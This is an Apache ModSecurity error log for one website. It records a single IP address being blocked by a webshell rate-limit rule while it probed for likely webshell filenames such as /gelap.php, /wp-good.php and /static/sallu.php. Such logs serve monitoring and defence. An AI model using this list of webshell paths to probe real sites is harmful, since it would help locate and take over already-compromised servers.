[Tue Dec 02 23:30:23.422911 2025] [:error] [pid 3648:tid 3688] [client 20.196.108.177:20038] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aS8GD-QEp5icp6XOJr0xcAAAAEQ"]
[Tue Dec 02 23:30:23.916628 2025] [:error] [pid 3648:tid 3700] [client 20.196.108.177:20217] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aS8GD-QEp5icp6XOJr0xcgAAAFA"]
[Tue Dec 02 23:30:24.240066 2025] [:error] [pid 3760:tid 3784] [client 20.196.108.177:20156] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aS8GEFjLYEjdWVcKgVWZrgAAANY"]
[Tue Dec 02 23:30:24.658982 2025] [:error] [pid 3647:tid 3666] [client 20.196.108.177:20115] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aS8GEFJaqGDFgh_0XI_YNwAAAA0"]
[Tue Dec 02 23:30:25.083295 2025] [:error] [pid 5232:tid 5238] [client 20.196.108.177:20209] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aS8GEQApmO-auDy1ob4pOgAAAQQ"]
[Tue Dec 02 23:30:25.441521 2025] [:error] [pid 3647:tid 3670] [client 20.196.108.177:20103] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aS8GEVJaqGDFgh_0XI_YOgAAABE"]
[Tue Dec 02 23:30:25.838270 2025] [:error] [pid 5272:tid 5284] [client 20.196.108.177:20093] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aS8GEewbFoRzPGfZYVSQFwAAAUk"]
[Tue Dec 02 23:30:26.248756 2025] [:error] [pid 3648:tid 3704] [client 20.196.108.177:20064] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aS8GEuQEp5icp6XOJr0xeAAAAFQ"]
[Tue Dec 02 23:30:26.628986 2025] [:error] [pid 5273:tid 5313] [client 20.196.108.177:20149] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aS8GEiMmXO5H1kNwHHWGyQAAAYs"]
[Tue Dec 02 23:30:26.985865 2025] [:error] [pid 3647:tid 3675] [client 20.196.108.177:20043] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aS8GElJaqGDFgh_0XI_YPAAAABY"]
[Tue Dec 02 23:30:27.317321 2025] [:error] [pid 3647:tid 3658] [client 20.196.108.177:20140] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aS8GE1JaqGDFgh_0XI_YPQAAAAU"]
[Tue Dec 02 23:30:27.767831 2025] [:error] [pid 3760:tid 3771] [client 20.196.108.177:20051] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aS8GE1jLYEjdWVcKgVWZrwAAAMk"]
[Tue Dec 02 23:30:28.333898 2025] [:error] [pid 5272:tid 5275] [client 20.196.108.177:20248] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aS8GFOwbFoRzPGfZYVSQGgAAAUA"]
[Tue Dec 02 23:30:28.777674 2025] [:error] [pid 5232:tid 5241] [client 20.196.108.177:20152] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aS8GFAApmO-auDy1ob4pQAAAAQc"]
[Tue Dec 02 23:30:29.141089 2025] [:error] [pid 3760:tid 3778] [client 20.196.108.177:20227] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aS8GFVjLYEjdWVcKgVWZsAAAANA"]
[Tue Dec 02 23:30:29.519254 2025] [:error] [pid 5272:tid 5291] [client 20.196.108.177:20061] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aS8GFewbFoRzPGfZYVSQGwAAAVA"]
[Tue Dec 02 23:30:29.906539 2025] [:error] [pid 48650:tid 48655] [client 20.196.108.177:20157] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aS8GFYQuWSn3xrJsXbn7ewAAAcA"]
[Tue Dec 02 23:30:30.270945 2025] [:error] [pid 5273:tid 5318] [client 20.196.108.177:20079] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aS8GFiMmXO5H1kNwHHWGzgAAAZA"]
[Tue Dec 02 23:30:30.797921 2025] [:error] [pid 3649:tid 3728] [client 20.196.108.177:20187] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aS8GFrwjL4uqC6YFjxHLMgAAAJE"]
[Tue Dec 02 23:30:31.264089 2025] [:error] [pid 48650:tid 48671] [client 20.196.108.177:20100] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aS8GF4QuWSn3xrJsXbn7fgAAAdA"]
[Tue Dec 02 23:30:31.568835 2025] [:error] [pid 48650:tid 48658] [client 20.196.108.177:20210] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aS8GF4QuWSn3xrJsXbn7fwAAAcM"]
[Tue Dec 02 23:30:32.070067 2025] [:error] [pid 3760:tid 3775] [client 20.196.108.177:20135] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aS8GGFjLYEjdWVcKgVWZtAAAAM0"]
[Tue Dec 02 23:30:32.491642 2025] [:error] [pid 48650:tid 48656] [client 20.196.108.177:20113] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aS8GGIQuWSn3xrJsXbn7gAAAAcE"]
[Tue Dec 02 23:30:32.812538 2025] [:error] [pid 3649:tid 3731] [client 20.196.108.177:20102] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aS8GGLwjL4uqC6YFjxHLOAAAAJQ"]
[Tue Dec 02 23:30:33.114178 2025] [:error] [pid 48650:tid 48662] [client 20.196.108.177:20129] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aS8GGYQuWSn3xrJsXbn7gQAAAcc"]
[Tue Dec 02 23:30:33.561792 2025] [:error] [pid 3648:tid 3692] [client 20.196.108.177:20072] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aS8GGeQEp5icp6XOJr0xfgAAAEg"]
[Tue Dec 02 23:30:34.086192 2025] [:error] [pid 3760:tid 3777] [client 20.196.108.177:20155] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aS8GGljLYEjdWVcKgVWZtwAAAM8"]
[Tue Dec 02 23:30:34.386713 2025] [:error] [pid 48650:tid 48661] [client 20.196.108.177:20189] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aS8GGoQuWSn3xrJsXbn7hQAAAcY"]
[Tue Dec 02 23:30:34.787282 2025] [:error] [pid 48650:tid 48664] [client 20.196.108.177:20067] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aS8GGoQuWSn3xrJsXbn7hwAAAck"]
[Tue Dec 02 23:30:35.130969 2025] [:error] [pid 48650:tid 48658] [client 20.196.108.177:20347] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aS8GG4QuWSn3xrJsXbn7iAAAAcM"]
[Tue Dec 02 23:30:35.532802 2025] [:error] [pid 3648:tid 3685] [client 20.196.108.177:20138] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aS8GG-QEp5icp6XOJr0xhAAAAEE"]
[Tue Dec 02 23:30:35.911658 2025] [:error] [pid 5232:tid 5254] [client 20.196.108.177:20148] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aS8GGwApmO-auDy1ob4pQgAAARQ"]
[Tue Dec 02 23:30:36.415662 2025] [:error] [pid 3648:tid 3688] [client 20.196.108.177:20076] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aS8GHOQEp5icp6XOJr0xhgAAAEQ"]
[Tue Dec 02 23:30:36.810615 2025] [:error] [pid 5272:tid 5292] [client 20.196.108.177:20040] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aS8GHOwbFoRzPGfZYVSQIgAAAVE"]
[Tue Dec 02 23:30:37.119367 2025] [:error] [pid 3648:tid 3706] [client 20.196.108.177:20139] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aS8GHeQEp5icp6XOJr0xigAAAFY"]
[Tue Dec 02 23:30:37.444200 2025] [:error] [pid 3648:tid 3701] [client 20.196.108.177:20146] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aS8GHeQEp5icp6XOJr0xiwAAAFE"]
[Tue Dec 02 23:30:37.928142 2025] [:error] [pid 3760:tid 3780] [client 20.196.108.177:20011] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aS8GHVjLYEjdWVcKgVWZvQAAANI"]
[Tue Dec 02 23:30:38.360122 2025] [:error] [pid 3760:tid 3783] [client 20.196.108.177:20046] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aS8GHljLYEjdWVcKgVWZvgAAANU"]
[Tue Dec 02 23:30:38.722581 2025] [:error] [pid 5273:tid 5302] [client 20.196.108.177:20070] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aS8GHiMmXO5H1kNwHHWG1QAAAYA"]
[Tue Dec 02 23:30:39.035411 2025] [:error] [pid 5273:tid 5320] [client 20.196.108.177:20062] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aS8GHyMmXO5H1kNwHHWG2AAAAZI"]
[Tue Dec 02 23:30:39.366782 2025] [:error] [pid 48650:tid 48668] [client 20.196.108.177:20101] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aS8GH4QuWSn3xrJsXbn7kAAAAc0"]
[Tue Dec 02 23:30:39.691287 2025] [:error] [pid 3648:tid 3684] [client 20.196.108.177:20121] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aS8GH-QEp5icp6XOJr0xjQAAAEA"]
[Tue Dec 02 23:30:40.084507 2025] [:error] [pid 48650:tid 48661] [client 20.196.108.177:20049] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aS8GIIQuWSn3xrJsXbn7kwAAAcY"]
[Tue Dec 02 23:30:40.429602 2025] [:error] [pid 5272:tid 5285] [client 20.196.108.177:20032] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aS8GIOwbFoRzPGfZYVSQJwAAAUo"]
[Tue Dec 02 23:30:40.923082 2025] [:error] [pid 5272:tid 5282] [client 20.196.108.177:20154] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aS8GIOwbFoRzPGfZYVSQKAAAAUc"]
[Tue Dec 02 23:30:41.268526 2025] [:error] [pid 5232:tid 5249] [client 20.196.108.177:20050] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aS8GIQApmO-auDy1ob4pSAAAAQ8"]
[Tue Dec 02 23:30:41.683367 2025] [:error] [pid 5273:tid 5315] [client 20.196.108.177:20058] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aS8GISMmXO5H1kNwHHWG3AAAAY0"]
[Tue Dec 02 23:30:42.027849 2025] [:error] [pid 5232:tid 5241] [client 20.196.108.177:20122] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aS8GIgApmO-auDy1ob4pSQAAAQc"]
[Tue Dec 02 23:30:42.411162 2025] [:error] [pid 5272:tid 5293] [client 20.196.108.177:20145] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aS8GIuwbFoRzPGfZYVSQKQAAAVI"]
[Tue Dec 02 23:30:42.953979 2025] [:error] [pid 3647:tid 3670] [client 20.196.108.177:20082] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aS8GIlJaqGDFgh_0XI_YTAAAABE"]
[Tue Dec 02 23:30:43.404872 2025] [:error] [pid 3648:tid 3690] [client 20.196.108.177:20143] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aS8GI-QEp5icp6XOJr0xkAAAAEY"]
[Tue Dec 02 23:30:43.825408 2025] [:error] [pid 5232:tid 5250] [client 20.196.108.177:19983] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aS8GIwApmO-auDy1ob4pSwAAARA"]
[Tue Dec 02 23:30:44.147452 2025] [:error] [pid 5272:tid 5296] [client 20.196.108.177:20080] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/static/sallu.php"] [unique_id "aS8GJOwbFoRzPGfZYVSQLAAAAVU"]
[Tue Dec 02 23:30:44.584857 2025] [:error] [pid 3647:tid 3677] [client 20.196.108.177:19976] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/static/sallu.php"] [unique_id "aS8GJFJaqGDFgh_0XI_YTgAAABg"]
[Tue Dec 02 23:30:44.928529 2025] [:error] [pid 48650:tid 48668] [client 20.196.108.177:20037] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/static/sallu.php"] [unique_id "aS8GJIQuWSn3xrJsXbn7nAAAAc0"]
